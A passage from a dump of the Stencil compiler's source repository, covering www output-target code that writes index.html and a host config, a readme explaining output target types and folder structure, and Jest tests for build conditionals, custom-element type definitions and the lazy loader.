build directory\n  // Process\n  if (buildCtx.indexDoc && outputTarget.indexHtml) {\n    await generateIndexHtml(config, compilerCtx, buildCtx, criticalPath, outputTarget);\n  }\n  await generateHostConfig(compilerCtx, outputTarget);\n};\n\n/**\n * Generate a host configuration for a given www OT and write it to disk\n *\n * @param compilerCtx a compiler context\n * @param outputTarget a www OT\n * @returns a promise wrapping fs write results\n */\nconst generateHostConfig = (compilerCtx: d.CompilerCtx, outputTarget: d.OutputTargetWww) => {\n  const buildDir = getAbsoluteBuildDir(outputTarget);\n  const hostConfigPath = join(outputTarget.appDir, 'host.config.json');\n  const hostConfigContent = JSON.stringify(\n    {\n      hosting: {\n        headers: [\n          {\n            source: join(buildDir, '/p-*'),\n            headers: [\n              {\n                key: 'Cache-Control',\n                value: 'max-age=31556952, s-maxage=31556952, immutable',\n              },\n            ],\n          },\n        ],\n      },\n    },\n    null,\n    '  ',\n  );\n\n  return compilerCtx.fs.writeFile(hostConfigPath, hostConfigContent, { outputTargetType: outputTarget.type });\n};\n\n/**\n * Attempt to generate `index.html` content for a www output target and, if all\n * goes well, write it to disk. As part of creating the content several\n * optimizations (mainly inlining content and adding module preloads) are\n * attempted.\n *\n * @param config the current user-supplied Stencil configuration\n * @param compilerCtx the current compiler context\n * @param buildCtx the current build context\n * @param criticalPath a list of bundles for which we should add module preloads\n * @param outputTarget the www output target of interest\n */\nconst generateIndexHtml = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  criticalPath: string[],\n  outputTarget: d.OutputTargetWww,\n) => {\n  if (compilerCtx.hasSuccessfulBuild && !buildCtx.hasHtmlChanges) {\n    // no need to rebuild index.html if there were no app file changes\n    return;\n  }\n\n  // get the source index html content\n  try {\n    const doc = cloneDocument(buildCtx.indexDoc);\n    addScriptDataAttribute(config, doc, outputTarget);\n\n    // validateHtml(config, buildCtx, doc);\n    await updateIndexHtmlServiceWorker(config, buildCtx, doc, outputTarget);\n    if (!config.watch && !config.devMode) {\n      const globalStylesFilename = await generateHashedCopy(\n        config,\n        compilerCtx,\n        join(outputTarget.buildDir, `${config.fsNamespace}.css`),\n      );\n      const scriptFound = await optimizeEsmImport(config, compilerCtx, doc, outputTarget);\n      await inlineStyleSheets(compilerCtx, doc, MAX_CSS_INLINE_SIZE, outputTarget);\n      updateGlobalStylesLink(config, doc, globalStylesFilename, outputTarget);\n      if (scriptFound) {\n        optimizeCriticalPath(doc, criticalPath, outputTarget);\n      }\n    }\n\n    const indexContent = serializeNodeToHtml(doc);\n    await compilerCtx.fs.writeFile(outputTarget.indexHtml, indexContent, { outputTargetType: outputTarget.type });\n\n    if (outputTarget.serviceWorker && config.flags.prerender) {\n      await compilerCtx.fs.writeFile(join(outputTarget.appDir, INDEX_ORG), indexContent, {\n        outputTargetType: outputTarget.type,\n      });\n    }\n\n    buildCtx.debug(`generateIndexHtml, write: ${relative(config.rootDir, outputTarget.indexHtml)}`);\n  } catch (e: any) {\n    catchError(buildCtx.diagnostics, e);\n  }\n};\n\nconst MAX_CSS_INLINE_SIZE = 3 * 1024;\n"
  },
  {
    "path": "src/compiler/output-targets/readme.md",
    "content": "# Output Targets\n\nStencil is able to generate components into various formats so they can be best integrated into the many different apps types, no matter what framework or bundler is used.\n\n\n## Output Target Terms\n\n`script`: A prebuilt, stand-alone webapp already built from the components. These are already built to be loaded by just a script tag, no additional builds or bundling required. Both the `www` and `dist` output target types save an \"app\" into their directories. When saving the webapp into the `dist/` directory, it can be easily packaged up and used with a service like `unpkg.com`. See https://www.npmjs.com/package/@ionic/core\n\n`collection`: Source files transpiled down to simple JavaScript, and all component metadata placed on the component class as static getters. When one Stencil distribution imports another, it will use these files when generating its own distribution. What's important is that the source code of a `collection` is future proof, meaning no matter what version of Stencil it can import and understand the component metadata.\n\n`host`: The actual \"host\" element sitting in the webpage's DOM.\n\n`lazy-loaded`: A lazy-loaded webapp creates all the proxied host custom elements up front, but only downloads the component implementation on-demand. Lazy-loaded components work by having a proxied \"host\" custom element, and lazy-loads the component class and css, and rather than the host element having the \"instance\", such as a traditional custom element, the instance is of the lazy-loaded component class. If a Stencil library has a low number of components, then having them all packaged into a single-file would be best. But for a very large library of components, such as Ionic, it'd be best to have them lazy-loaded instead. Part of the configuration can decide when to make a library either lazy-loaded or single-file.\n\n`module`: Component code meant to be imported by other bundlers in order for them to be integrated within other apps.\n\n`native`: Lazy-loaded components split the host custom element and the component implementation apart. A \"native\" component is a traditional custom element in that the instance and host element are the same. \n\n`custom-element`: Individual custom elements packaged up into stand-alone, self-contained code. Each component imports shared runtime from `@stencil/core`. Opposite of lazy-loaded components that define themselves and load on demand, the custom elements builds must be imported and defined by the consumer, and any lazy-loaded depends on the consumer's bundling methods.\n\n\n## Output Target Types\n\n### `www`\n\n- Default output target when not configured.\n- Generates a stand-alone `app` into the `www/` directory.\n- Depending on the number of components and configuration, the app may be lazy-loaded of single-file.\n\n\n### `dist`\n\n- Generates `modules` to be imported by other bundlers, such as `dist/esm/` and `dist/esm-es5/` (when enabling buildEs5 config).\n- Generates an `app` at the root of the `dist/` directory. It's the same stand-alone webapp as the `www` type, but located in dist so it's easy to package up and shared.\n- Generates a `collection` into the `dist/collection/` directory to be used by other projects.\n\n\n### `angular`\n\n- Generates a wrapper Angular component proxy.\n- Web components themselves work fine within Angular, but you loose out on many of Angular's features, such as types or `@ViewChild`. In order for a Stencil project to fit right into the Angular ecosystem, this output target generates thin wrapper that can be imported by Angular.\n\n\n### `dist-hydrate-script`\n\n- Used by NodeJS to do Static Site Generation (SSG) and/or Server Side Rendering (SSR). \n- Used by Stencil prerendering commands.\n- Formats the components so that the server can generate new global window environments that are scoped to each rendering, rather than having global information bleed between each URL rendered.\n\n\n## Output Folder Structure Defaults\n\n```\n- dist/\n\n  - cjs/ (bundler ready, cjs modules)\n    - index.cjs.js\n    - loader.cjs.js\n\n  - collection/ (metadata when this is lazy-loaded dependency)\n    - my-cmp/\n      - my-cmp.js (esm)\n      - my-cmp.css\n    - collection-manifest.json\n    - global.js\n  \n  - custom-elements (bundler ready custom elements, esm only)\n    - index.js (esm)\n    - index.d.ts\n\n  - esm (bundler ready, esm modules, es2017 source)\n    - index.js\n    - loader.js\n\n  - esm-es5 (buildEs5, bundler ready, esm modules, es5 source)\n    - index.js\n    - loader.js\n\n  - loader (bundler entry for lazy builds)\n    - cdn.js\n    - index.js\n    - index.cjs.js\n    - index.d.ts\n    - index.es2017.js\n    - package.json (to import loader package, such as myapp/loader)\n\n  - myapp (browser ready script, named from stencil config namespace)\n    - myapp.css\n    - myapp.esm.js\n    - myapp.js (buildEs5 entry, systemjs modules, es5 source)\n    - myapp.system.js (buildEs5, systemjs modules, es5 source)\n\n  - types (dts files for each component)\n    - my-cmp/\n      -my-cmp.d.ts\n\n  - index.cjs.js (dist cjs entry)\n  - index.js (dist esm entry)\n\n- hydrate\n  - index.js (NodeJS ready hydrate script, cjs module)\n  - index.d.ts (types for hydrate API)\n  - package.json (to import hydrate package, such as myapp/hydrate)\n\n- www/ (www output target)\n  - build/\n    - myapp.esm.js (browser ready esm modern script)\n    - myapp.js (buildEs5, browser ready systemjs modules, es5 script)\n\n  - index.html (optimized html from src/index.html)\n\n- package.json (top-level package.json is not auto-updated)\n- stencil.config.ts\n```"
  },
  {
    "path": "src/compiler/output-targets/test/build-conditionals.spec.ts",
    "content": "import { mockConfig, mockLoadConfigInit } from '@stencil/core/testing';\n\nimport type * as d from '../../../declarations';\nimport { validateConfig } from '../../config/validate-config';\nimport { getCustomElementsBuildConditionals } from '../dist-custom-elements/custom-elements-build-conditionals';\nimport { getHydrateBuildConditionals } from '../dist-hydrate-script/hydrate-build-conditionals';\nimport { getLazyBuildConditionals } from '../dist-lazy/lazy-build-conditionals';\n\ndescribe('build-conditionals', () => {\n  let userConfig: d.Config;\n  let cmps: d.ComponentCompilerMeta[];\n\n  beforeEach(() => {\n    userConfig = mockConfig();\n    cmps = [];\n  });\n\n  describe('getCustomElementsBuildConditionals', () => {\n    it('default', () => {\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n      const bc = getCustomElementsBuildConditionals(config, cmps);\n      expect(bc).toMatchObject({\n        lazyLoad: false,\n        hydrateClientSide: false,\n        hydrateServerSide: false,\n      });\n    });\n\n    it('taskQueue async', () => {\n      userConfig.taskQueue = 'async';\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n      const bc = getCustomElementsBuildConditionals(config, cmps);\n      expect(bc.asyncQueue).toBe(false);\n      expect(bc.taskQueue).toBe(true);\n      expect(config.taskQueue).toBe('async');\n    });\n\n    it('taskQueue immediate', () => {\n      userConfig.taskQueue = 'immediate';\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n      const bc = getCustomElementsBuildConditionals(config, cmps);\n      expect(bc.asyncQueue).toBe(false);\n      expect(bc.taskQueue).toBe(false);\n      expect(config.taskQueue).toBe('immediate');\n    });\n\n    it('taskQueue congestionAsync', () => {\n      userConfig.taskQueue = 'congestionAsync';\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n      const bc = getCustomElementsBuildConditionals(config, cmps);\n      expect(bc.asyncQueue).toBe(true);\n      expect(bc.taskQueue).toBe(true);\n      expect(config.taskQueue).toBe('congestionAsync');\n    });\n\n    it('taskQueue defaults', () => {\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n      const bc = getCustomElementsBuildConditionals(config, cmps);\n      expect(bc.asyncQueue).toBe(false);\n      expect(bc.taskQueue).toBe(true);\n      expect(config.taskQueue).toBe('async');\n    });\n\n    it('hydrateClientSide true', () => {\n      const hydrateOutputTarget: d.OutputTargetHydrate = {\n        type: 'dist-hydrate-script',\n      };\n      userConfig.outputTargets = [hydrateOutputTarget];\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n      const bc = getCustomElementsBuildConditionals(config, cmps);\n      expect(bc.hydrateClientSide).toBe(true);\n    });\n\n    it('hydratedSelectorName', () => {\n      userConfig.hydratedFlag = {\n        name: 'boooop',\n      };\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n      const bc = getCustomElementsBuildConditionals(config, cmps);\n      expect(bc.hydratedSelectorName).toBe('boooop');\n    });\n  });\n\n  describe('getLazyBuildConditionals', () => {\n    it('default', () => {\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n      const bc = getLazyBuildConditionals(config, cmps);\n      expect(bc).toMatchObject({\n        lazyLoad: true,\n        hydrateServerSide: false,\n      });\n    });\n\n    it('taskQueue async', () => {\n      userConfig.taskQueue = 'async';\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n      const bc = getLazyBuildConditionals(config, cmps);\n      expect(bc.asyncQueue).toBe(false);\n      expect(bc.taskQueue).toBe(true);\n      expect(config.taskQueue).toBe('async');\n    });\n\n    it('taskQueue immediate', () => {\n      userConfig.taskQueue = 'immediate';\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n      const bc = getLazyBuildConditionals(config, cmps);\n      expect(bc.asyncQueue).toBe(false);\n      expect(bc.taskQueue).toBe(false);\n      expect(config.taskQueue).toBe('immediate');\n    });\n\n    it('taskQueue congestionAsync', () => {\n      userConfig.taskQueue = 'congestionAsync';\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n      const bc = getLazyBuildConditionals(config, cmps);\n      expect(bc.asyncQueue).toBe(true);\n      expect(bc.taskQueue).toBe(true);\n      expect(config.taskQueue).toBe('congestionAsync');\n    });\n\n    it('taskQueue defaults', () => {\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n      const bc = getLazyBuildConditionals(config, cmps);\n      expect(bc.asyncQueue).toBe(false);\n      expect(bc.taskQueue).toBe(true);\n      expect(config.taskQueue).toBe('async');\n    });\n\n    it('tagNameTransform default', () => {\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n      const bc = getLazyBuildConditionals(config, cmps);\n      expect(bc.transformTagName).toBe(false);\n    });\n\n    it('tagNameTransform true', () => {\n      userConfig.extras = { tagNameTransform: true };\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n      const bc = getLazyBuildConditionals(config, cmps);\n      expect(bc.transformTagName).toBe(true);\n    });\n\n    it('hydrateClientSide default', () => {\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n      const bc = getLazyBuildConditionals(config, cmps);\n      expect(bc.hydrateClientSide).toBe(false);\n    });\n\n    it('hydrateClientSide true', () => {\n      const hydrateOutputTarget: d.OutputTargetHydrate = {\n        type: 'dist-hydrate-script',\n      };\n      userConfig.outputTargets = [hydrateOutputTarget];\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n      const bc = getLazyBuildConditionals(config, cmps);\n      expect(bc.hydrateClientSide).toBe(true);\n    });\n\n    it('hydratedSelectorName', () => {\n      userConfig.hydratedFlag = {\n        name: 'boooop',\n      };\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n      const bc = getLazyBuildConditionals(config, cmps);\n      expect(bc.hydratedSelectorName).toBe('boooop');\n    });\n  });\n\n  describe('getHydrateBuildConditionals', () => {\n    it('hydratedSelectorName', () => {\n      userConfig.hydratedFlag = {\n        name: 'boooop',\n      };\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n      const bc = getHydrateBuildConditionals(config, cmps);\n      expect(bc.hydratedSelectorName).toBe('boooop');\n    });\n\n    it('should allow setting to use a class for hydration', () => {\n      userConfig.hydratedFlag = {\n        selector: 'class',\n      };\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n      const bc = getHydrateBuildConditionals(config, cmps);\n      expect(bc.hydratedClass).toBe(true);\n      expect(bc.hydratedAttribute).toBe(false);\n    });\n\n    it('should allow setting to use an attr for hydration', () => {\n      userConfig.hydratedFlag = {\n        selector: 'attribute',\n      };\n      const { config } = validateConfig(userConfig, mockLoadConfigInit());\n      const bc = getHydrateBuildConditionals(config, cmps);\n      expect(bc.hydratedClass).toBe(false);\n      expect(bc.hydratedAttribute).toBe(true);\n    });\n  });\n});\n"
  },
  {
    "path": "src/compiler/output-targets/test/custom-elements-types.spec.ts",
    "content": "import {\n  mockBuildCtx,\n  mockCompilerCtx,\n  mockCompilerSystem,\n  mockModule,\n  mockValidatedConfig,\n} from '@stencil/core/testing';\nimport { DIST_CUSTOM_ELEMENTS, normalizePath } from '@utils';\nimport path from 'path';\n\nimport type * as d from '../../../declarations';\nimport { stubComponentCompilerMeta } from '../../types/tests/ComponentCompilerMeta.stub';\nimport * as outputCustomElementsMod from '../dist-custom-elements';\nimport { generateCustomElementsTypes } from '../dist-custom-elements/custom-elements-types';\n\nconst setup = () => {\n  const sys = mockCompilerSystem();\n  const config: d.ValidatedConfig = mockValidatedConfig({\n    configPath: '/testing-path',\n    buildAppCore: true,\n    buildEs5: true,\n    namespace: 'TestApp',\n    outputTargets: [{ type: DIST_CUSTOM_ELEMENTS, dir: 'my-best-dir' }],\n    srcDir: '/src',\n    sys,\n  });\n  const compilerCtx = mockCompilerCtx(config);\n  const buildCtx = mockBuildCtx(config, compilerCtx);\n\n  const root = config.rootDir;\n  config.rootDir = normalizePath(path.join(root, 'User', 'testing', '/'));\n  config.globalScript = normalizePath(path.join(root, 'User', 'testing', 'src', 'global.ts'));\n\n  const bundleCustomElementsSpy = jest.spyOn(outputCustomElementsMod, 'bundleCustomElements');\n\n  compilerCtx.moduleMap.set('test', mockModule());\n\n  return { config, compilerCtx, buildCtx, bundleCustomElementsSpy };\n};\n\ndescribe('Custom Elements Typedef generation', () => {\n  describe('export behavior: single-export-module', () => {\n    let config: d.ValidatedConfig;\n    let compilerCtx: d.CompilerCtx;\n    let buildCtx: d.BuildCtx;\n    let writeFileSpy: jest.SpyInstance;\n\n    beforeEach(() => {\n      // this component tests the 'happy path' of a component's filename coinciding with its\n      // tag name\n      const componentOne = stubComponentCompilerMeta({\n        tagName: 'my-component',\n        sourceFilePath: '/src/components/my-component/my-component.tsx',\n      });\n      // this component tests that we correctly resolve its path when the component tag does\n      // not match its filename\n      const componentTwo = stubComponentCompilerMeta({\n        sourceFilePath: '/src/components/the-other-component/my-real-best-component.tsx',\n        componentClassName: 'MyBestComponent',\n        tagName: 'my-best-component',\n      });\n      ({ config, compilerCtx, buildCtx } = setup());\n      (config.outputTargets[0] as d.OutputTargetDistCustomElements).customElementsExportBehavior =\n        'single-export-module';\n      buildCtx.components = [componentOne, componentTwo];\n\n      writeFileSpy = jest.spyOn(compilerCtx.fs, 'writeFile');\n    });\n\n    afterEach(() => {\n      writeFileSpy.mockRestore();\n    });\n\n    it('should generate an index.d.ts file corresponding to the index.js file when outputting to a sub-dir of dist', async () => {\n      await generateCustomElementsTypes(config, compilerCtx, buildCtx, 'types_dir');\n\n      const expectedTypedefOutput = [\n        '/* TestApp custom elements */',\n        `export { StubCmp as MyComponent } from '../types_dir/components/my-component/my-component';`,\n        `export { defineCustomElement as defineCustomElementMyComponent } from './my-component';`,\n        `export { MyBestComponent as MyBestComponent } from '../types_dir/components/the-other-component/my-real-best-component';`,\n        `export { defineCustomElement as defineCustomElementMyBestComponent } from './my-best-component';`,\n        '',\n        `/**`,\n        ` * Get the base path to where the assets can be found. Use \"setAssetPath(path)\"`,\n        ` * if the path needs to be customized.`,\n        ` */`,\n        `export declare const getAssetPath: (path: string) => string;`,\n        '',\n        '/**',\n        ' * Used to manually set the base path where assets can be found.',\n        ' * If the script is used as \"module\", it\\'s recommended to use \"import.meta.url\",',\n        ' * such as \"setAssetPath(import.meta.url)\". Other options include',\n        ' * \"setAssetPath(document.currentScript.src)\", or using a bundler\\'s replace plugin to',\n        ' * dynamically set the path at build time, such as \"setAssetPath(process.env.ASSET_PATH)\".',\n        ' * But do note that this configuration depends on how your script is bundled, or lack of',\n        ' * bundling, and where your assets can be loaded from. Additionally custom bundling',\n        ' * will have to ensure the static assets are copied to its build directory.',\n        ' */',\n        'export declare const setAssetPath: (path: string) => void;',\n        '',\n        '/**',\n        ` * Used to specify a nonce value that corresponds with an application's CSP.`,\n        ' * When set, the nonce will be added to all dynamically created script and style tags at runtime.',\n        ' * Alternatively, the nonce value can be set on a meta tag in the DOM head',\n        ' * (<meta name=\"csp-nonce\" content=\"{ nonce value here }\" />) which',\n        ' * will result in the same behavior.',\n        ' */',\n        'export declare const setNonce: (nonce: string) => void',\n        '',\n        'export interface SetPlatformOptions {',\n        '  raf?: (c: FrameRequestCallback) => number;',\n        '  ael?: (el: EventTarget, eventName: string, listener: EventListenerOrEventListenerObject, options: boolean | AddEventListenerOptions) => void;',\n        '  rel?: (el: EventTarget, eventName: string, listener: EventListenerOrEventListenerObject, options: boolean | AddEventListenerOptions) => void;',\n        '}',\n        'export declare const setPlatformOptions: (opts: SetPlatformOptions) => void;',\n        \"export * from '../types_dir/components';\",\n        '',\n      ].join('\\n');\n\n      expect(compilerCtx.fs.writeFile).toHaveBeenCalledWith('my-best-dir/index.d.ts', expectedTypedefOutput, {\n        outputTargetType: DIST_CUSTOM_ELEMENTS,\n      });\n    });\n\n    it('should generate an index.d.ts file corresponding to the index.js file when outputting to top-level of dist', async () => {\n      (config.outputTargets[0] as d.OutputTargetDistCustomElements).dir = 'dist';\n\n      await generateCustomElementsTypes(config, compilerCtx, buildCtx, 'dist/types_dir');\n\n      const expectedTypedefOutput = [\n        '/* TestApp custom elements */',\n        `export { StubCmp as MyComponent } from './types_dir/components/my-component/my-component';`,\n        `export { defineCustomElement as defineCustomElementMyComponent } from './my-component';`,\n        `export { MyBestComponent as MyBestComponent } from './types_dir/components/the-other-component/my-real-best-component';`,\n        `export { defineCustomElement as defineCustomElementMyBestComponent } from './my-best-component';`,\n        '',\n        `/**`,\n        ` * Get the base path to where the assets can be found. Use \"setAssetPath(path)\"`,\n        ` * if the path needs to be customized.`,\n        ` */`,\n        `export declare const getAssetPath: (path: string) => string;`,\n        '',\n        '/**',\n        ' * Used to manually set the base path where assets can be found.',\n        ' * If the script is used as \"module\", it\\'s recommended to use \"import.meta.url\",',\n        ' * such as \"setAssetPath(import.meta.url)\". Other options include',\n        ' * \"setAssetPath(document.currentScript.src)\", or using a bundler\\'s replace plugin to',\n        ' * dynamically set the path at build time, such as \"setAssetPath(process.env.ASSET_PATH)\".',\n        ' * But do note that this configuration depends on how your script is bundled, or lack of',\n        ' * bundling, and where your assets can be loaded from. Additionally custom bundling',\n        ' * will have to ensure the static assets are copied to its build directory.',\n        ' */',\n        'export declare const setAssetPath: (path: string) => void;',\n        '',\n        '/**',\n        ` * Used to specify a nonce value that corresponds with an application's CSP.`,\n        ' * When set, the nonce will be added to all dynamically created script and style tags at runtime.',\n        ' * Alternatively, the nonce value can be set on a meta tag in the DOM head',\n        ' * (<meta name=\"csp-nonce\" content=\"{ nonce value here }\" />) which',\n        ' * will result in the same behavior.',\n        ' */',\n        'export declare const setNonce: (nonce: string) => void',\n        '',\n        'export interface SetPlatformOptions {',\n        '  raf?: (c: FrameRequestCallback) => number;',\n        '  ael?: (el: EventTarget, eventName: string, listener: EventListenerOrEventListenerObject, options: boolean | AddEventListenerOptions) => void;',\n        '  rel?: (el: EventTarget, eventName: string, listener: EventListenerOrEventListenerObject, options: boolean | AddEventListenerOptions) => void;',\n        '}',\n        'export declare const setPlatformOptions: (opts: SetPlatformOptions) => void;',\n        \"export * from './types_dir/components';\",\n        '',\n      ].join('\\n');\n\n      expect(compilerCtx.fs.writeFile).toHaveBeenCalledWith('dist/index.d.ts', expectedTypedefOutput, {\n        outputTargetType: DIST_CUSTOM_ELEMENTS,\n      });\n    });\n  });\n\n  it('should generate an index.d.ts file corresponding to the index.js file when barrel export behavior is disabled', async () => {\n    // this component tests the 'happy path' of a component's filename coinciding with its\n    // tag name\n    const componentOne = stubComponentCompilerMeta({\n      tagName: 'my-component',\n      sourceFilePath: '/src/components/my-component/my-component.tsx',\n    });\n    // this component tests that we correctly resolve its path when the component tag does\n    // not match its filename\n    const componentTwo = stubComponentCompilerMeta({\n      sourceFilePath: '/src/components/the-other-component/my-real-best-component.tsx',\n      componentClassName: 'MyBestComponent',\n      tagName: 'my-best-component',\n    });\n    const { config, compilerCtx, buildCtx } = setup();\n    buildCtx.components = [componentOne, componentTwo];\n\n    const writeFileSpy = jest.spyOn(compilerCtx.fs, 'writeFile');\n\n    await generateCustomElementsTypes(config, compilerCtx, buildCtx, 'types_dir');\n\n    const expectedTypedefOutput = [\n      `/**`,\n      ` * Get the base path to where the assets can be found. Use \"setAssetPath(path)\"`,\n      ` * if the path needs to be customized.`,\n      ` */`,\n      `export declare const getAssetPath: (path: string) => string;`,\n      '',\n      '/**',\n      ' * Used to manually set the base path where assets can be found.',\n      ' * If the script is used as \"module\", it\\'s recommended to use \"import.meta.url\",',\n      ' * such as \"setAssetPath(import.meta.url)\". Other options include',\n      ' * \"setAssetPath(document.currentScript.src)\", or using a bundler\\'s replace plugin to',\n      ' * dynamically set the path at build time, such as \"setAssetPath(process.env.ASSET_PATH)\".',\n      ' * But do note that this configuration depends on how your script is bundled, or lack of',\n      ' * bundling, and where your assets can be loaded from. Additionally custom bundling',\n      ' * will have to ensure the static assets are copied to its build directory.',\n      ' */',\n      'export declare const setAssetPath: (path: string) => void;',\n      '',\n      '/**',\n      \" * Used to specify a nonce value that corresponds with an application's CSP.\",\n      ' * When set, the nonce will be added to all dynamically created script and style tags at runtime.',\n      ' * Alternatively, the nonce value can be set on a meta tag in the DOM head',\n      ' * (<meta name=\"csp-nonce\" content=\"{ nonce value here }\" />) which',\n      ' * will result in the same behavior.',\n      ' */',\n      'export declare const setNonce: (nonce: string) => void',\n      '',\n      'export interface SetPlatformOptions {',\n      '  raf?: (c: FrameRequestCallback) => number;',\n      '  ael?: (el: EventTarget, eventName: string, listener: EventListenerOrEventListenerObject, options: boolean | AddEventListenerOptions) => void;',\n      '  rel?: (el: EventTarget, eventName: string, listener: EventListenerOrEventListenerObject, options: boolean | AddEventListenerOptions) => void;',\n      '}',\n      'export declare const setPlatformOptions: (opts: SetPlatformOptions) => void;',\n      '',\n    ].join('\\n');\n\n    expect(compilerCtx.fs.writeFile).toHaveBeenCalledWith('my-best-dir/index.d.ts', expectedTypedefOutput, {\n      outputTargetType: DIST_CUSTOM_ELEMENTS,\n    });\n\n    writeFileSpy.mockRestore();\n  });\n\n  it('should generate a type signature for the `defineCustomElements` function when `bundle` export behavior is set', async () => {\n    const componentOne = stubComponentCompilerMeta({\n      tagName: 'my-component',\n      sourceFilePath: '/src/components/my-component/my-component.tsx',\n    });\n    const componentTwo = stubComponentCompilerMeta({\n      sourceFilePath: '/src/components/the-other-component/my-real-best-component.tsx',\n      componentClassName: 'MyBestComponent',\n      tagName: 'my-best-component',\n    });\n    const { config, compilerCtx, buildCtx } = setup();\n    (config.outputTargets[0] as d.OutputTargetDistCustomElements).customElementsExportBehavior = 'bundle';\n    buildCtx.components = [componentOne, componentTwo];\n\n    const writeFileSpy = jest.spyOn(compilerCtx.fs, 'writeFile');\n\n    await generateCustomElementsTypes(config, compilerCtx, buildCtx, 'types_dir');\n\n    const expectedTypedefOutput = [\n      `/**`,\n      ` * Get the base path to where the assets can be found. Use \"setAssetPath(path)\"`,\n      ` * if the path needs to be customized.`,\n      ` */`,\n      `export declare const getAssetPath: (path: string) => string;`,\n      '',\n      '/**',\n      ' * Used to manually set the base path where assets can be found.',\n      ' * If the script is used as \"module\", it\\'s recommended to use \"import.meta.url\",',\n      ' * such as \"setAssetPath(import.meta.url)\". Other options include',\n      ' * \"setAssetPath(document.currentScript.src)\", or using a bundler\\'s replace plugin to',\n      ' * dynamically set the path at build time, such as \"setAssetPath(process.env.ASSET_PATH)\".',\n      ' * But do note that this configuration depends on how your script is bundled, or lack of',\n      ' * bundling, and where your assets can be loaded from. Additionally custom bundling',\n      ' * will have to ensure the static assets are copied to its build directory.',\n      ' */',\n      'export declare const setAssetPath: (path: string) => void;',\n      '',\n      '/**',\n      \" * Used to specify a nonce value that corresponds with an application's CSP.\",\n      ' * When set, the nonce will be added to all dynamically created script and style tags at runtime.',\n      ' * Alternatively, the nonce value can be set on a meta tag in the DOM head',\n      ' * (<meta name=\"csp-nonce\" content=\"{ nonce value here }\" />) which',\n      ' * will result in the same behavior.',\n      ' */',\n      'export declare const setNonce: (nonce: string) => void',\n      '',\n      'export interface SetPlatformOptions {',\n      '  raf?: (c: FrameRequestCallback) => number;',\n      '  ael?: (el: EventTarget, eventName: string, listener: EventListenerOrEventListenerObject, options: boolean | AddEventListenerOptions) => void;',\n      '  rel?: (el: EventTarget, eventName: string, listener: EventListenerOrEventListenerObject, options: boolean | AddEventListenerOptions) => void;',\n      '}',\n      'export declare const setPlatformOptions: (opts: SetPlatformOptions) => void;',\n      '',\n      '/**',\n      ` * Utility to define all custom elements within this package using the tag name provided in the component's source.`,\n      ` * When defining each custom element, it will also check it's safe to define by:`,\n      ' *',\n      ' * 1. Ensuring the \"customElements\" registry is available in the global context (window).',\n      ' * 2. Ensuring that the component tag name is not already defined.',\n      ' *',\n      ' * Use the standard [customElements.define()](https://developer.mozilla.org/en-US/docs/Web/API/CustomElementRegistry/define)',\n      ' * method instead to define custom elements individually, or to provide a different tag name.',\n      ' */',\n      'export declare const defineCustomElements: (opts?: any) => void;',\n      '',\n    ].join('\\n');\n\n    expect(compilerCtx.fs.writeFile).toHaveBeenCalledWith('my-best-dir/index.d.ts', expectedTypedefOutput, {\n      outputTargetType: DIST_CUSTOM_ELEMENTS,\n    });\n\n    writeFileSpy.mockRestore();\n  });\n});\n"
  },
  {
    "path": "src/compiler/output-targets/test/output-lazy-loader.spec.ts",
    "content": "import type * as d from '@stencil/core/declarations';\nimport { mockBuildCtx, mockCompilerCtx, mockCompilerSystem, mockValidatedConfig } from '@stencil/core/testing';\nimport { DIST, resolve } from '@utils';\n\nimport { validateDist } from '../../config/outputs/validate-dist';\nimport { outputLazyLoader } from '../output-lazy-loader';\n\nfunction setup(configOverrides: Partial<d.ValidatedConfig> = {}) {\n  const sys = mockCompilerSystem();\n  const config: d.ValidatedConfig = mockValidatedConfig({\n    ...configOverrides,\n    configPath: '/testing-path',\n    buildAppCore: true,\n    namespace: 'TestApp',\n    outputTargets: [\n      {\n        type: DIST,\n        dir: 'my-test-dir',\n      },\n    ],\n    srcDir: '/src',\n    sys,\n  });\n\n  config.outputTargets = validateDist(config, config.outputTargets);\n\n  const compilerCtx = mockCompilerCtx(config);\n  const writeFileSpy = jest.spyOn(compilerCtx.fs, 'writeFile');\n  const buildCtx = mockBuildCtx(config, compilerCtx);\n\n  return { config, compilerCtx, buildCtx, writeFileSpy };\n}\n\ndescribe('Lazy Loader Output Target', () => {\n  let config: d.ValidatedConfig;\n  let compilerCtx: d.CompilerCtx;\n  let writeFileSpy: jest.SpyInstance;\n\n  afterEach(() => {\n    writeFileSpy.mockRestore();\n  });\n\n  it('should write code for initializing polyfills when buildEs5=true', async () => {\n    ({ config, compilerCtx, writeFileSpy } = setup({ buildEs5: true }));\n    await outputLazyLoader(config, compilerCtx);\n\n    const expectedIndexOutput = `export * from '../esm/polyfills/index.js';\nexport * from '../esm-es5/loader.js';`;\n    expect(writeFileSpy).toHaveBeenCalledWith(resolve('/my-test-dir/loader/index.js'), expectedIndexOutput);\n\n    const expectedCjsIndexOutput = `module.exports = require('../cjs/loader.cjs.js');\nmodule.exports.applyPolyfills = function() { return Promise.resolve() };`;\n    expect(writeFileSpy).toHaveBeenCalledWith(resolve('/my-test-dir/loader/index.cjs.js'), expectedCjsIndexOutput);\n\n    const expectedES2017Output = `export * from '../esm/polyfills/index.js';\nexport * from '../esm/loader.js';`;\n    expect(writeFileSpy).toHaveBeenCalledWith(resolve('/my-test-dir/loader/index.es2017.js'), expectedES2017Output);\n  });\n\n  it('should exclude polyfill code when buildEs5=false', async () => {\n    